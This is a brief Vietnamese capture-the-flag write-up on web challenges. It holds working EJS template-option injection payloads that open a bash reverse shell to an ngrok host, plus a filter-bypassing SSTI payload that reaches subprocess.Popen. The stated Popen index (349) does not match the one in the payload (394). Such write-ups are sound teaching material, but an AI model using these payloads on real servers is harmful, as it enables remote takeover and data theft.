# Quick WU
## HCM Finals 2023
### it-s
Bài này khá đơn giản khi sử dụng ejs ver 3.1.5 khi search thì ta biết được ejs bản này bị lỗi RCE thông qua property `outputFunctionName`
https://security.snyk.io/package/npm/ejs/3.1.5
Có đoạn code sau xuất hiện trong file `/routes/index.js`
```javascript
router.post('/error-log', (req, res, next) => {
//chi~ admin moi' log duoc. loi^~
User.findOne({ email: 'admin@admin.com' }, (err, data) => {
if (data) {
let body = req.body;
if(!body.email||!body.password){return next(err)}
if(body.email&&body.password){
if(body.email!=data.email&&body.password!=data.password){
return next(err)
}
}
console.log(body)
return res.render('error.ejs',body);
} else {
res.send({ "Error": "Admin Email Is not registered!" });
}
});
});
```
Ta có thể truyền bất kỳ option nào muốn thông qua `req.body` vì nó được truyền thẳng vào `res.render('error.ejs',body);`
Payload
```
{"email":"admin@admin.com",
"password":"123",
"debug":true,
"message":"blabla",
"settings": {
"view options": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/0.tcp.ap.ngrok.io/16217 0>&1\"');s"}}
}
```
### random-image 01 & 02
https://endy21.hashnode.dev/hcmus-2023-final-write-up
### cute-meme
writing...
### graphql-101
writing...
## SEETF
### express javascript
Bài này cũng là lỗi liên quan đến ejs, tuy nhiến chall đã filter mất một vài property có thể bị poluted
```javascript!
const BLACKLIST = [
"outputFunctionName",
"escapeFunction",
"localsName",
"destructuredLocals"
]
```
Trace src ejs thì ngoài `opts.escapeFunction` ta còn có thể polluted vào `opts.escape`

Payload:
```
http://localhost:3000/greet?name=123&font=Arial&fontSize=20&settings[view+options][escape]=1;process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/0.tcp.ap.ngrok.io/16217 0>&1\"')
```
### file uploader 1
Bài này khi upload file không hợp lệ sẽ trả về filename, phần filename bị lỗi SSTI

Tuy nhiên ta phải bypass qua 2 lớp filter, ngoài ra những ký tự nằm trong cặp `""` hoặc `''` thì chỉ được là các ký tự từ `A-Z,a-z,0-9,dấu chấm (.), và dấu gạch (-)`

Do `{{` bị filter nên ta sẽ dùng `{% print(...) %}`
Do `[2]` và `globals` bị filter nên ta sẽ dùng `[].__class__.__mro__[1]..__subclasses__()` để gọi đến `__subclasses__`
Vì import và cả os đều bị filter nên ta sẽ dùng Subprocess.Popen, dùng đoạn script sau để tìm index của Subprocess.Popen
```python!
with open('./list.txt') as p:
check = p.read()
for index,value in enumerate(check.split(',')):
if "<class 'subprocess.Popen'>" in value:
print(index) # Kết quả là 349
```
Vì các lệnh đọc file phổ biến như cat, less, head,... đều bị filter nên ta sẽ dùng nl để đọc flag
Payload cuối cùng
```
{% print([].__class__.__mro__[1].__subclasses__()[394]('nl flag.txt',shell=True,stdout=-1).communicate()[0])%}.txt
```